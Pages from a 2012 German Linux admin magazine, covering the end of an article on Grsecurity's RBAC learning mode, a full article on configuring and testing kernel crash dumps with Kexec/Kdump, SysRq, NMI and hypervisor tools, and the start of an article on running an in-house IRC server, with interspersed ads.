passieren soll, bestimmt das 

Schlüsselwort am Anfang. 

Die Bedeutungen der Befehle 

erklären die Kommentare am 

Anfang der Datei. 

Um die Rechte eines normalen 

Desktop-Anwenders zu ermitteln, 

sollten Sie den Lernmodus 

durchaus mehrere Tage 

mitlaufen lassen. Während 

dieser Zeit sollten Sie sich 

tunlichst verkneifen, administrative 

Aufgaben durchzuführen 

– denn die würde »gradm« 

später erlauben. Müssen Sie 

dennoch am System schrau- 


Grsecurity 

Security 

ben, wechseln Sie vorübergehend in die 

Rolle »admin«. 

Lernphase 

Alle in der Lernphase ausgeführten Aktionen 

ordnet »gradm« dem jeweiligen 

Linux-Benutzer zu. Um beispielsweise 

»root« wieder das Starten und Stoppen 

des SSH-Daemon zu gestatten, aktivieren 

Sie den Lernmodus, melden sich als 

Benutzer »root« an und starten mehrmals 

den SSH-Daemon. »gradm« erkennt, dass 

hier »root« am Werke war, und erlaubt 

nur ihm den SSH-Daemon zu starten. 

Im Hintergrund erstellt »gradm« dabei 

für jeden Benutzer und jede normale 

Gruppe des Linux-Systems eine eigene 

Rolle. Diese Rollen nimmt der Benutzer 

nach seiner Anmeldung am System automatisch 

ein. Gibt es für einen Benutzer 

noch keine eigene Rolle, beispielsweise 

weil er sich während der Lernphase nicht 

angemeldet hat, gilt für ihn die Standard- 

Rolle »default«. Das klingt nicht nur kompliziert, 

sondern sorgt bei der manuellen 

Einrichtung von Grsecurity immer wieder 

für Verwirrung. 

Nachdem Sie im Lernmodus alle gewünschten 

Aktionen ausgeführt haben, 

beenden Sie mit »gradm ‐E« das 

RBAC-System. Die Aufzeichnungen muss 

»gradm« jetzt noch in Regeln pressen und 

mit diesen eine neue Datei »/etc/grsec/ 

policy« generieren (Abbildung 6): 

gradm ‐F ‐L /etc/grsec/gelerntes.log ‐OU 

/etc/grsec/policy 

Vorher sollten Sie sicherheitshalber eine 

Kopie der alten »/etc/grsec/policy« erstellen. 

Schmeißt man jetzt wieder das RBAC- 

System mit »gradm ‐E« an, sind alle 

aufgezeichneten Aktionen erlaubt. Im 

Beispiel darf der Benutzer »root« wieder 

den SSH-Daemon starten, ohne gleich die 

Rolle »admin« annehmen zu müssen. 

Der Lernmodus ist recht praktisch, in 

der Praxis kommt man jedoch normalerweise 

nicht um die nachträgliche Bearbeitung 

der Konfigurationsdatei »/etc/ 

grsec/policy« herum. Eine Erläuterung 

des Aufbaus würde den Rahmen dieses 

Artikels sprengen. Einen Crash-Kurs findet 

man am Anfang der mitgelieferten 

»policy«-Datei, eine umfangreiche Referenz 

im Grsecurity-Wiki [7]. Als kleine 

Abbildung 6: Die notwendigen Regeln erzeugt »gradm« aus einem Protokoll selbst. 

Hilfe kann man auch den Lernmodus anwerfen, 

die entsprechende Aktion durchführen, 

dann die Regeln in eine separate 

Datei schreiben 

gradm ‐F ‐L /etc/grsec/gelerntes.log ‐O U 

/etc/grsec/neue 

und dann aus ihr die Regeln manuell in 

»policy« übertragen. Damit muss man 

sich zumindest schon einmal nicht die 

passenden Regeln selbst ausdenken. 

Fazit 

Grsecurity geht Hand in Hand mit dem 

PaX-Projekt [8], das einzelne Teile im 

Hauptspeicher mit einem Schreib- oder 

Ausführungsschutz versieht. Ein Prozess 

kann dann einen Datenbereich nicht mit 

Programmcode überschreiben. Auf diese 

Weise verhindert PaX die gefürchteten 

Buffer-Overflow-Attacken. 

Grsecurity ist komplex und teilweise 

umständlich zu administrieren. In der 

Vergangenheit wurden »grsecurity«, 

»gradm« und die Konfigurationsdateien 

zudem mehrfach leicht verändert. So 

konnte man früher beispielsweise den 

Prozessen zufällige Identifikationsnummer 

(PIDs) verpassen und TCP-Ports umnummerieren. 

Die Policy steckte zudem 

noch in der Datei »/etc/grsec/acl«. Diese 

Änderungen haben wiederum zur Folge, 

dass viele der Anleitungen und Artikel 

zu Grsecurity veraltet sind und nicht 

mehr funktionieren. Man sollte sich daher 

möglichst an die Dokumentation auf 

der Homepage halten [1]. Die hat jedoch 

mehr den Charme einer reinen Referenz 

und ist ermüdend zu lesen. 

Wer bei seinen ersten Schritten nicht aufpasst, 

sperrt sich trotz des Lernmodus 

schnell aus. Man sollte daher die ersten 

Erfahrungen in einer virtuellen Maschine 

sammeln, bevor man einen gehärteten 

Grsecurity-Kernel auf einen produktiv 

genutzten Root-Server loslässt. (ofr) n 

Infos 

[1] Grsecurity: [http:// grsecurity. net/] 

[2] Tim Schürmann, Japanischer Sheriff, Mandatory 

Access Control mit Tomoyo Linux, 

ADMIN 03/2012, 

[http:// www. admin‐magazin. de/ Das‐Heft/ 

2012/ 03/ Mandatory‐Access‐Control‐mit‐To 

moyo‐Linux] 

[3] Repository mit Kerneln für Debian und 

Ubuntu: [http:// kernelsec. cr0. org/] 

[4] Quellcode des Linux-Kernels: [http:// 

kernel. org] 

[5] Echtheit des Linux-Kernels prüfen: [http:// 

www. kernel. org/ signature. html] 

[6] Beschreibung aller Grsecurity-Funktionen: 

[http:// en. wikibooks. org/ wiki/ Grsecurity/ 

Appendix/ Grsecurity_and_PaX_Configuration_Options] 

[7] Dokumenation des RBAC-Systems: [http:// 

en. wikibooks. org/ wiki/ Grsecurity/ The_ 

RBAC_System] 

[8] Dokumentation des PaX-Projektes: [http:// 

pax. grsecurity. net/ docs/] 

Der Autor 

Tim Schürmann ist selbstständiger Diplom-Informatiker 

und derzeit hauptsächlich als freier 

Autor unterwegs. Zu seinen Büchern gesellen 

sich zahlreiche Artikel, die in Zeitschriften und 

auf Internetseiten in mehreren Ländern veröffentlicht 

wurden. 


Admin 


61

Know-How 

Kernel-Crashdumps 

© Stephen Sweet, Fotolia 

Kernel-Crashdumps aufsetzen und auswerten 

Flugschreiber 

Crasht der Linux-Server, steht neben der Wiederherstellung auch die Problemanalyse an: Was ist genau passiert, 

wo liegt der Fehler, welche vorbeugenden Maßnahmen sind nötig? Ein Kernel-Crashdump vom Zeitpunkt des 

Absturzes kann hierbei helfen. Dr. Udo Seidel 

Ein Dump des Betriebssystem-Kernels 

als Mittel zur Problem-Analyse ist in der 

Unix-Welt an sich ein alter Hut. Unter 

Linux lag dieses Thema aber lange Zeit 

brach. Die ersten Versuche erfolgten im 

Jahr 1999 mit dem Projekt LKCD (Linux 

Kernel Crash Dump) [1]. Dieser ursprünglich 

von SGI iniitierte Ansatz war 

insoweit erfolgreich, dass er sogar Einzug 

in die Enterprise-Distribution von Suse 

fand [2]. Die Probleme beim Schreiben 

des Dumps auf ein MD-RAID oder die 

Übertragung größerer Kernel-Images waren 

letztlich aber nicht zu beheben. 

Weitere Versuche mit Netdump (Red Hat) 

oder Diskdump [3] in den Jahren 2002 

beziehungsweise 2004 hatten auch nur 

mäßigen Erfolg. Mittlerweile gibt es mit 

Kdump und Kexec ([4] bis [7]) einen 

Ansatz, der in der Praxis zuverlässig einsetzbar 

ist. Eine Kern-Frage und gleichzeitig 

auch die größte Herausforderung beim 

Schreiben des Kernel-Dumps ist: Wer soll 

es machen? Die naheliegende Antwort 

lautet sicherlich: der Kernel selbst. Dieser 

Ansatz, den auch das LKCD-Projekt verfolgte, 

birgt aber einige Gefahren. 

Wie weit kann man dem Kernel, der ja 

gerade abgestürzt ist, vertrauen? Sind 

die Kernel-Strukturen und Daten intakt? 

Sind die Treiber noch richtig initialisiert, 

sodass die Festplatte oder der NFS-Share 

ansprechbar ist? Genau auf diese Probleme 

ist LKCD auch gestoßen. 

Besser wäre hier eine dem Kernel externe 

Instanz, die das Speichern des Kernel- 

Dumps übernimmt. Mit zunehmender 

Verbreitung der Virtualisierung ist der 

Hypervisor dafür ein naheliegender Kandidat. 

Tatsächlich ist es möglich, mit VMware, 

Xen oder KVM einen Dump des 

Linux-Kernels zu speichern, doch dazu 

später mehr. 

Läuft Linux direkt auf dem Blech, nützt 

der Hypervisor-Ansatz nichts. Hier kommt 

Kdump ins Spiel, genauer gesagt Kexec, 

eine Art Kernel-zu-Kernel-Bootloader. Der 

laufende Kernel kann über »kexec« einen 

neuen Kernel direkt laden und ausführen. 

Das BIOS bleibt aus dem Spiel, und es 

ist dem neuen Kernel überlassen, ob er 

den Speicherinhalt unberührt lässt oder 

bestimmte Einträge löscht. 

Dieser neue Kernel, auch Crash- oder 

Dump-Kernel genannt, startet einen 

Teil des restlichen Linux-Systems und 

speichert den Dump. Damit Kexec 



Know-How 

funktionieren kann, benötigt der Admin 

drei Dinge: einen Kernel neuer als 2.6.13, 

einen Kernel, der für Kexec konfiguriert 

ist und die entsprechenden Userland- 

Werkzeuge (Abbildung 1). 

Kernel lädt Kernel 

Das Booten eines neuen Kernels aus dem 

Kontext eines laufenden Kernels klingt 

einfacher als es ist. Vor Version 2.6.26 

konnte der Linux-Kern nur von einer 

einzigen vorgegebenen Speicheradresse 

starten, und diese war natürlich schon 

vom laufenden Kernel belegt. Zweitens 

benötigt der Speicherbereich des neuen 

Kernels einen Schutz vor dem Überschreiben 

der Daten durch die ständig 

erfolgenden direkten Zugriffe auf den 

Hauptspeicher (DMA). Schließlich muss 

der neue Kernel auf bestimmte Informationen 

aus der Zeit des Absturzes zugreifen, 

muss also wissen, wo der alte 

Betriebssystem-Kern im Speicher liegt. 

Glücklicherweise muss sich der Administrator 

aber nicht mit dieser scheinbar 

aussichtslosen Mission beschäftigen. 

Dies erledigen das Kommando »kexec« 

und der Systemaufruf »kexec_load«. Ersteres 

lädt den neuen Kernel in einen reservierten 

Speicher-Bereich und ist im 

Zusammenspiel mit dem Systemcall für 

die Ausführung zuständig. 

Die konkrete Konfiguration des Kexec/ 

Kdump-Gespanns ist im Detail für jede 

Abbildung 1: Voraussetzungen für Kdump/Kexec sind sowohl im Kernel- als auch im User-Land nötig. 

Linux-Distribution etwas unterschiedlich. 

Daher erläutert dieser Artikel das 

Vorgehen auf einem etwas allgemeineren 

Level anhand von Red Hats und 

Suses Enterprise-Distributionen (RHEL 

6.2 und SLES 11 SP2). Der Admin hat 

dabei die Wahl zwischen einer komplett 

manuellen Konfiguration mit »rpm« und 

»vi« beziehungsweise »emacs« oder der 

Listing 1: Vorbereitungen für den Kernel-Dump 

01 [root@rhel ~]# grep ‐i crash /proc/iomem 

02 03000000‐0affffff : Crash kernel 

03 [root@rhel ~]# grep crash /proc/cmdline 

04 ro root=/dev/mapper/VolGroup00‐LogVol00 

rd_NO_LUKS KEYBOARDTYPE=pc 

KEYTABLE=de‐latin1‐nodeadkeys rd_NO_MD quiet 

SYSFONT=latarcyrheb‐sun16 rhgb rd_LVM_ 

LV=VolGroup00/LogVol01 rd_LVM_LV=VolGroup00/ 

LogVol00 LANG=de_DE.UTF‐8 rd_NO_DM 

crashkernel=128M 

05 [root@rhel ~]# /etc/init.d/kdump status 

06 Kdump is operational 

07 [root@rhel ~]# which kexec 

08 /sbin/kexec 

09 [root@rhel ~]# which kdump 

10 /sbin/kdump 

Verwendung des Systemwerkzeuge des 

Herstellers. Im Falle von SLES ist es das 

»yast2‐kdump«-Modul, bei RHEL kommt 

»system‐config‐kdump« zum Einsatz. 

Zunächst muss der Admin die Werkzeuge 

zum Booten des Crash-Kernels und zum 

Schreiben des Dumps installieren. Das 

entsprechende Paket heißt üblicherweise 

»kexec‐tools« oder ähnlich. Eventuell ist 

11 [root@rhel ~]# 

12 

13 sles:~ # grep ‐i crash /proc/iomem 

14 27000000‐2effffff : Crash kernel 

15 sles:~ # grep crash /proc/cmdline 

16 root=/dev/disk/by‐uuid/10a83ffe‐5a9f‐48a2‐b8c 

b‐551c2cc6b42d resume=/dev/sda3 splash=silent 

text showopts crashkernel=128 

17 sles:~ # /etc/init.d/boot.kdump status 

18 kdump kernel loaded 

19 running 

20 sles:~ # which kexec 

21 /sbin/kexec 

22 sles:~ # which kdump 

23 /sbin/kdump 

24 sles:~ # 

Anzeige-ADMIN-04:Anzeige-ADMIN-04 25.06.12 14:19 Seite 1 

Die Securepoint IT-Security-Produkt-Welt: 

Komplette IT-Security zum Schutz Ihrer Netzwerke, Systeme und Daten! 

Securepoint Operation Center (SOC) 

Das IT-Security-Leitsystem ist die zentrale Management-Lösung für alle 

VPN-/UTM-Gateways, die Network Access Controller (NAC) und das 

Unified Mail Archive (UMA) sowie für Produkte von Dritt-Anbietern. 

Securepoint VPN-Clients 

Der professionelle VPN-Client für OpenVPN ist zu jedem Securepoint 

UTM-/VPN-Gateway in beliebiger Anzahl kostenlos verfügbar. 

Securepoint ID Control-Token 

Software- und Hardware-Token zum sicheren Zugang durch 

Multi-Faktor-Authentisierung mttels Einmal-Passwort/OTP. 

Securepoint Document Signer 

Softwarelösung zum Signieren und Prüfen von Signaturen sowie dem 

Ver- und Entschlüsseln von beliebigen Dateien und Dokumenten. 

Securepoint UTM-/VPN- und KV-SafeNet-Gateways 

zum kompletten Netzwerkschutz (Firewall, VPN-Server, AntiVirus, 

Spam/Web-Filter, IDS, etc.) und zur professionellen Standort-Vernetzung. 

Auch zertifiziert für die deutschen Kassenärztlichen Vereinigungen. 

Securepoint Unified Mail Archive (UMA) 

zur rechtskonforme E-Mail-Archivierung und Entlastung bestehender E-Mail- 

Server, natürlich GDPdU-konform und inkl. beweiswerterhaltender Langzeitspeicherung 

nach neuester Richtline TR-03125 des BSI (gerichtsfest!). 

Geliefert mit täglich Qualifizierten Zeitstempeln. 

Securepoint Network Access Controller (NAC) 

WLAN-Management-Systeme zum einfachen Management von WLAN-Umgebungen/Access-Points 

und für die sichere Zugangskontrolle ins WLAN. 

Securepoint GmbH, Salzstraße 1, 21335 Lüneburg 

Tel.: 0 41 31 / 24 01-0, Fax: 0 41 31 / 24 01-50 

Email: info@securepoint.de Internet: www.securepoint.de

Know-How 


Abbildung 2: Der Crash-Kernel in Aktion. 

das Aufspielen des Crash-Kernels nötig. 

Bei älteren Distributionen gibt es dafür 

ein separates Paket. Hier lädt »kexec« 

eine neue Binär-Datei. 

Kernel zum Crashen 

Heute gehen die Distributoren einen anderen 

Weg: Der normal installierte Kern 

ist mit allen Funktionen ausgestattet und 

kann auch als Crash-Kernel dienen. Dies 

ist der Fall für die aktuellen Varianten von 

RHEL und SLES – das Aufspielen eines 

weiteren Kernel-Paketes entfällt. 

Der nächste Schritt ist die Konfiguration 

von »kexec« und »kdump«. Ersteres ist 

für das Laden und Ausführen des Crash- 

Kernels zuständig. Dazu muss das Tool 

wissen, welcher Kernel zu laden ist, wo 

er sich befindet und ob eventuell zusätzlich 

Kernel-Optionen nötig sind. Die Konfiguration 

von »kdump« legt die Einstellungen 

zum Schreiben des Kernel-Dump 

fest. Dazu gehören der Ablageort, welche 

Informationen enthalten sind, optionale 

Komprimierung oder ein Aufsplitten des 

Dumps. Für die ersten Experimente empfiehlt 

es sich, mit der Standard-Einstellung 

zu beginnen. 

Wesentlich für das Funktionieren der 

Kexec/Kdump-Methode ist, dass der 

Listing 2: Panik-Routine beim NMI-Ereignis 

01 # cat /proc/sys/kernel/unknown_nmi_panic 

02 1 

03 # sysctl kernel.unknown_nmi_panic 

04 kernel.unknown_nmi_panic = 1 

05 # grep nmi /etc/sysctl.conf 

06 kernel.unknown_nmi_panic = 1 

07 # 

Crash-Kernel zum Zeitpunkt des Problems 

bereits geladen ist. Dies übernimmt 

das Start-Skript von »kdump«, allerdings 

nur, wenn auch ein entsprechend geschützter 

Speicherbereich vorhanden ist. 

Damit der originale Kernel dies weiß, 

muss der Admin den Bootloader mit Option 

»crashkernel=XM[@YM]« versehen, 

wobei X die Größe des Reservierungsbereiches 

in MByte und Y die Start-Adresse 

angibt. Lässt man den zweiten Parameter 

weg oder gibt »0M« an, wählt das System 

automatisch einen geeigneten Platz aus. 

Ein anschließender Neustart aktiviert 

diese Änderung. 

Test-Crash 

Variante 

Wer unsicher ist, kann sich durch einen 

Blick in »/proc/iomem« davon überzeugen, 

dass der geschützte Speicherbereich 

markiert ist (siehe Listing 1). Ist 

alles korrekt verlaufen, kann das Start- 

Skript von »kdump« den Crash-Kernel 

in den Speicher laden. Typischerweise 

bindet der Admin dies in den regulären 

Boot-Prozess ein, für die ersten Gehversuche 

reicht aber auch eine manuelle 

Aktivierung. 

An dieser Stelle gilt es, das konfigurierte 

Setup zu überprüfen, sprich künstlich 

einen Kernel-Crash auszulösen, der dann 

automatisch das Schreiben des Dumps 

starten sollte. Dafür schaltet man über 

»echo 1 > /proc/sys/kernel/sysrq« zunächst 

die sogenannten Magic Sysrequest 

Keys ein. Im Normallfall ist das schon 

erledigt, wenn der Admin die Distributionswerkzeuge 

zum Einrichten des Kernel-Dumps 

verwendet hat. 

Ein beherztes »echo c > /proc/sysrq‐trigger« 

löst jetzt einen Kernel-Panic aus. 

Wenn alles funktioniert, startet das System 

dann den Crash-Kernel, der wiederum 

»kdump« beziehungsweise »makedumpfile« 

auslöst (Abbildung 2). 

Jeden Dump legt das System in einem mit 

dem Erzeugungsdatum versehenen Verzeichnis 

ab. Stürzt das System mehrfach 

ab, werden bereits gespeicherte Informationen 

so nicht überschrieben. Noch eine 

Nebenbemerkung für die Suse-Anhänger: 

Sie können den Kernel-Panic auch über 

das Laden des Modules »crasher.ko« auslösen. 

Dies stammt übrigens aus der Feder 

von Btrfs-Entwickler Chris Mason, als 

er noch bei Suse arbeitete [8]. 

De Luxe 

Tabelle 1: Ablagemöglichkeiten für den Kernel-Dump 

raw /dev/sdc1 

ext3 /dev/sdc1 

ext4 LABEL=/dump 

net mynfs.server.com:/ 

export/dump 

net user@my.ssh. 

server.com 

Beschreibung 

Waren die ersten Dump-Versuche erfolgreich, 

kann es an das Tuning gehen. Da 

wäre zunächst die Speicher-Reservierung 

für den Crash-Kernel. Die allgemeine Anweisung 

lautet »crashkernel=Bereich1:Gr 

össe1[,Bereich2:Grösse2,...][@Adresse]«. 

Im konkreten Fall von »crashkernel=5 

12M‐2G:64M,2G‐:128M« heißt das: Für 

einen RAM-Ausbau von 512 MByte bis 2 

Gyte reserviert das System 64 MByte und 

128 MByte bei mehr als 2 GByte Haupt- 

Schreibt den Dump mit »dd« auf die Partition »/dev/sdc1«. 

Hängt »/dev/sdc1« als Ext3-Dateisystem ein und speichert dort den 

Dump. 

Hängt das Dateisystem mit diesem Label ein und legt den Dump dort ab. 

Integriert das entsprechende NFS-Share des Servers und schreibt den 

Dump dorthin. 

Speichert den Dump über SCP als entsprechenden Nutzer auf dem 

Server. 


speicher. Das vereinfacht die Konfiguration 

des Bootloaders für eine heterogene 

Hardware-Umgebung. Unabhängig vom 

Hauptspeicher bleibt der »crashkernel«- 

Eintrag immer derselbe. Bei Suse macht 

Yast das automatisch. Die Angaben von 

Größe und Bereich können laut Kernel- 

Dokumentation auch in KByte erfolgen, 

allerdings ist dies für die Praxis nicht 

relevant. 

In der Standard-Konfiguration speichert 

das System den Kernel-Dump der lokalen 

Platte. Bei Systemen mit üppigem Hauptspeicher 

kann es da schnell zu Problemen 

kommen. Glücklicherweise erlaubt 

das Kexec/Kdump-Gespann auch das 

Speichern über das Netzwerk. Der Admin 

hat dabei die Wahl zwischen NFS und 

SSH/SCP. Tabelle 1 listet die verfügbaren 

Optionen auf. 

Das Schreiben über SSH/SCP setzt eine 

nicht-interaktive Authentisierung beispielsweise 

über Schlüssel voraus. Es 

empfiehlt sich daher, einen separaten 

und recht eingeschränkten Ziel-Benutzer 

zu konfigurieren. 

Notschalter 

Der oben aufgezeigte Weg, einen Kernel- 

Dump zu provozieren, funktioniert nicht 

mehr, wenn das System nicht mehr reagiert 

und zum Beispiel ein Login unmöglich 

ist. Eine Möglichkeit ist dann das 

Auslösen über eine bestimmte Tasten- 

Kombination, der ein Sysreq-Schlüssel 

zugeordnet ist. Eigentlich muss der Admin 

nur die Tasten [Alt], [SysRQ] und [C] 

gleichzeitig drücken, um das Schreiben 

des Kernel-Dumps auszulösen. 

Aber auch hier steckt die Herausforderung 

im Detail. Viele Tastaturen besitzen 

keine separate [SysRQ]-Taste, dann 

übernimmt [Druck] diese Funktion. Nun 

Taste 

b 

c 

l 

m 

s 

t 

w 

Tabelle 2: „Magische“ Sysrequest-Tasten 

Beschreibung 

kann es aber sein, dass die grafische 

Benutzeroberfläche genau diese Kombination 

abfängt und einen Screenshot 

vom Bildschirm macht. Dies lässt sich 

dann durch ein zusätzliches Betätigen 

der [Strg]-Taste umgehen. Manchmal erreicht 

man [SysRQ] auch über die Zweitbelegung 

mit [Fn]. So lässt sich das fast 

beliebig fortsetzen. Also auch hier ist 

sauberes Testen angesagt, damit man im 

Ernstfall auch die richtigen Tasten findet. 

Übrigens: Die Sysrequest Keys können 

noch viel mehr als nur den Kernel-Dump 

triggern (siehe Tabelle 2). 

Nicht selten hat der Admin aber keinen 

physischen Zugriff auf die Tastatur des 

Servers. Ein Durchreichen der gedrückten 

Tasten der lokalen Tastatur an den 

Server ist nicht unbedingt gegeben. Normalerweise 

kann der Admin dann aber 

bestimmte Tasten-Kombinationen auf 

andere abbilden. 

Nicht-maskierbare Interrupts 

Sollte dies auch fehlschlagen, bleibt noch 

die Möglichkeit, einen nicht-maskierbaren 

Interrupt (NMI/Non-Maskable Interrupt) 

als Vehikel zu benutzen. Zunächst 

konfiguriert der Admin den Linux-Kernel 

so, dass dieser beim Empfang eines NMI 

die Panik-Routine abarbeitet und damit 

den Kernel-Dump auslöst. Dies geht 

bequem über die Sysctl-Schnittstelle. 

Der passende Parameter lautet »kernel. 

unknown_nmi_panic« und muss auf »1« 

stehen (siehe Listing 2). Techniken zur 

Verwaltung entfernter Rechner, beispielsweise 

iLO (integrated LightsOut) von HP 

oder DRAC (Dell Remote Access Controller) 

von Dell erlauben das manuelle 

Auslösen eines NMI-Ereignisses, das 

dann einen Kernel-Dump anstößt. Dabei 

ist zu beachten, dass andere Ereignisse, 

Sofortiger Reboot des Systems (ohne Umount oder Sync). 

System-Absturz und Starten des Kernel-Dumps (falls konfiguriert). 

Zeigt Backtrace für alle aktiven CPUs in der Konsole. 

Schreibt Informationen über Speicher auf die Konsole. 

Sync’ed alle eingehängten Dateisysteme. 

Listet aktive Prozesse auf der Konsole. 

Listet Prozesse im Zustand ’D’ auf der Konsole. 

ACH SO! 

SCHULUNGEN FÜR ADMINS, 

DIE DURCHBLICKEN WOLLEN 

Fachlich und didaktisch kompetente 

Dozenten, spannende Schulungsthemen, 

eine lockere Atmosphäre im Kurs und 

angenehme Unterrichtsräume – all das 

erwartet Sie bei uns in Berlin an der 

Heinlein Akademie. 

Die nächsten Kurse: 

08.10. 

Netzwerkrouting für Profis 

15.10. 

Scalix - Der Exchange-Ersatz unter Linux 

15.10. 

Apache2 Webserver 

15.10. 

Sichere Mailserver mit Postfix 

17.10. 

Puppet Master Curriculum 

22.10. 

DNS und DNSsec 

Jetzt anmelden unter 

www.heinlein-akademie.de 


67 

Ausgabe 04-2012 Linux höchstpersönlich.

Know-How 


Die nativen 

Linux-Hypervisor- 

Syste me eröffnen 

dem Admin 

sogar noch mehr 

Möglichkeiten. Es 

Abbildung 3: Kernel-Dump eines KVM-Gastes im laufenden Betrieb. 

ist möglich, einen 

Dump im laufenden 

Betrieb zu erzeugen. Im Normalfall 

beispielsweise fehlerhafte Hardware oder 

Firmware, ebenfalls einen NMI auslösen halten Xen und KVM den Gast für die 

können. Dies zieht im Normalbetrieb Dauer des Wegschreibens an, danach 

nicht unbedingt einen System-Crash läuft er einfach weiter. Die Kommandos 

nach sich und taucht eventuell nur als lauten »xm dump‐core Domain Ausgabedatei« 

beziehungsweise »virsh dump 

Meldung im »syslog« auf („Uhhuh. NMI 

received. Dazed and confused, but trying Domain Ausgabedatei« (siehe Abbildung 

to continue“). 

3). Fügt der Admin die Option »‐‐live« 

Die eben beschriebene Konfiguration hinzu, minimieren Xen und KVM den 

ändert dies, und der Server bootet in Zeitraum des Pausierens. Der Boot in 

jedem Fall. 

den Crash-Kernel fällt komplett weg und 

ebenso die Kexec/Kdump-Konfiguration 

des Linux-Gastes. 

Virtuell geht’s einfacher 

Der Admin virtueller Linux-Gäste kann 

sich getrost zurücklehnen. VMware, Xen 

und KVM erlauben das Schreiben eines 

Kernel-Dumps, ohne dass der Gast extra 

darauf vorbereitet sein muss. Der Kernel- 

Dump enthält ja die Informationen des 

gerade aktiven Arbeitsspeichers, also im 

einfachsten Fall eine 1:1-Kopie des gesamten 

RAM. 

Die genannten Hypervisor-Systeme 

haben Zugriff auf den Speicher des 

Gastes und erlauben es, ihn in eine Datei 

zu schreiben. Im Fall von Xen und 

KVM ist das Speicherabbild kompatibel 

zu den Linux-Tools zum Auswerten des 

Crash-Dumps. Der VMware-Speicher- 

Abzug muss dazu noch weiterverarbeitet 

werden – dazu gleich mehr. 

Listing 3: VMware-Images zu Kernel-Dumps 

01 # vmss2core ‐N6 rhel.vmss 

02 The vmss2core version 591240 Copyright (C) 1998‐2012 

VMware, Inc. All rights reserved. 

03 Started core writing. 

04 Writing note section header. 

05 Writing 1 memory section headers. 

06 Writing notes. 

07 ... 10 MBs written. 


09 ... 


11 Finished writing core. 

12 # 

13 # ls vmss.core 

14 vmss.core 

15 # 

VMware-Images in 

Crashdumps konvertieren 

Auch VMware beherrscht das Schreiben 

des Speichers seiner Gäste. Die erste 

Methode ist das Suspendieren und erzeugt 

eine Datei im »vmss«-Format. Der 

VMware-Admin kann aber auch beim 

Anlegen eines Checkpoints ein Abbild 

des Speichers schreiben, das dann als 

»vmsn«-Datei vorliegt. Allerdings erfordern 

beide Varianten eine Nachbehandlung, 

bevor die Standard-Werkzeuge 

fürs Kernel-Debugging damit umgehen 

können. 

VMware liefert dafür das Programm 

»vmss2core«, allerdings nur mit dem 

Workstation-Produkt, dafür aber für 

Windows wie auch für Linux [9]. ESX- 

Admins hingegen schauen in die Röhre. 

Prinzipiell läuft »vmss2core« auch außerhalb 

einer vollständigen VMware-Workstation-Installation. 

Experimentierfreudige 

Anwender können das Tool einfach 

auf den Rechner ihrer Wahl kopieren und 

dort das Image konvertieren. Das Kommando 

»vmss2core ‐N6 .vmss« 

generiert dann den Kernel-Dump (siehe 

Listing 3). Bei den Labor-Tests schlug 

die Konvertierung sowohl für RHEL5 als 

auch für RHEL6 fehl. Mit SLES funktionierte 

alles wie erwartet. 

Das Schreiben des Kernel-Dumps über 

den Hypervisor hat den Vorteil, dass die 

Kexec/Kdump-Konfiguration des Gastes 

komplett wegfällt. Zudem liegt die Datei 

außerhalb des Gastes und benötigt daher 

dort keinen Platz. Es sieht also alles viel 

einfacher aus. Ein bestimmtes Szenario 

kann das Hypervisor-Only-Setup nicht 

abdecken: den Kernel-Dump nach einem 

Crash mit automatischem Reboot. Ist dies 

nötig, führt kein Weg am Aufsetzen von 

Kexec/Kdump vorbei. Die Vorgehensweise 

ist dabei genauso wie weiter oben 

beschrieben. 

Fazit 

Das Generieren eines Kernel-Dumps ist 

wahrlich kein Hexenwerk und mit wenigen 

Handgriffen zu erledigen. Sind die 

Linux-Systeme virtualisiert, ist es sogar 

noch einfacher. Es gibt also keine Ausrede 

mehr, warum es keinen Kernel-Dump zur 

Problem-Analyse gibt. Versierte Anwender 

können mit dem Tool »crash« sogar 

eine Erst-Analyse sogar selbst durchführen. 

(ofr) 

n 

Infos 

[1] LKCD: [http:// lkcd. sourceforge. net/] 

[2] Set Up Linux Kernel Crash Dump on SLES: 

[http:// www. novell. com/ coolsolutions/ 

feature/ 14813. html] 

[3] Diskdump: a new crash dump system: 

[https:// lwn. net/ Articles/ 87684/] 

[4] Linux Kernel Crash Book: [http:// www. 

dedoimedo. com/ computers/ crash‐book. 

html] 

[5] Kdump: 

[http:// lse. sourceforge. net/ kdump/] 

[6] Crash-Tools: [http:// people. redhat. com/ 

anderson/] 

[7] Bug 716994 – Provide native systemd unit 

file: [http:// bugzilla. redhat. com/ show_bug. 

cgi? id=716994] 

[8] Bug 396132 – crasher module – why suse 

specific? [http:// bugzilla. novell. com/ 

show_bug. cgi? id=396132] 

[9] VMware Snapshot2core: 

[http:// www. vmware. com/ pdf/ 

snapshot2core_technote. pdf] 

Der Autor 

Dr. Udo Seidel ist eigentlich Mathe-Physik-Lehrer 

und seit 1996 Linux-Fan. Nach seiner Promotion 

hat er als Linux/Unix-Trainer, Systemadministrator 

und Senior Solution Engineer gearbeitet. 

Heute ist er Leiter eines Linux/Unix-Teams bei 

der Amadeus Data Processing GmbH in Erding. 


Alles zum Thema 

Android 

Neu! 

Die Monatszeitschrift für Android-Fans, Smartphone- und Tablet-Nutzer 

DigisuB: nur 39,90 € im Jahr (12 PDFs) 

Ihre Vorteile: 

+ Lesen Sie News 

und Artikel schon 

1 Woche vor dem 

Kiosk-Termin! 

+ Hardware und App- 

Tests, Workshops, 

Tipps und Tricks für 

Anfänger und Profis! 

+ Nutzbar auf Smartphone, 

Tablet oder 

Notebook/PC! 

Jetzt bestellen unter: 

www.android–user.de/digisub 

Telefon 07131 / 2707 274 • Fax 07131 / 2707 78 601 • E-Mail: abo@android-user.de

Know-How 

Ratbox IRC-Server 

© Karel Miragaya, 123RF 

Eigenen IRC-Server für das Unternehmen aufsetzen 

Oldie but Goldie 

Der Betrieb eines IRC-Servers wirkt fast schon anachronistisch, doch bietet der Klassiker aus den frühen 90er- 

Jahren viel Funktion bei wenig Ressourcenverbrauch. Im Büroalltag ermöglicht der Internet Relay Chat (IRC) eine 

einfache Kommunikation über Zimmer- und Etagen-Grenzen hinweg. Martin Loschwitz 

Totgesagte leben länger: Das IRC-Protokoll, 

das während der großen Blase 

am Anfang dieses Jahrtausends populär 

war, ist etwas aus der Mode gekommen. 

Sehr zu Unrecht, bietet es doch eine ressourcenschonende 

Möglichkeit für die 

textbasierte Kommunikation innerhalb 

eines Unternehmens. Bis dato findet sich 

unter IRCs diversen Protokoll-Nachfolgern 

keines, bei dem sich annähernd so 

bequem auch eine größere Menge an 

Leuten in einem einzelnen Chatraum zusammenfinden 

kann. Gleichzeitig punktet 

IRC mit seinen verschwindend geringen 

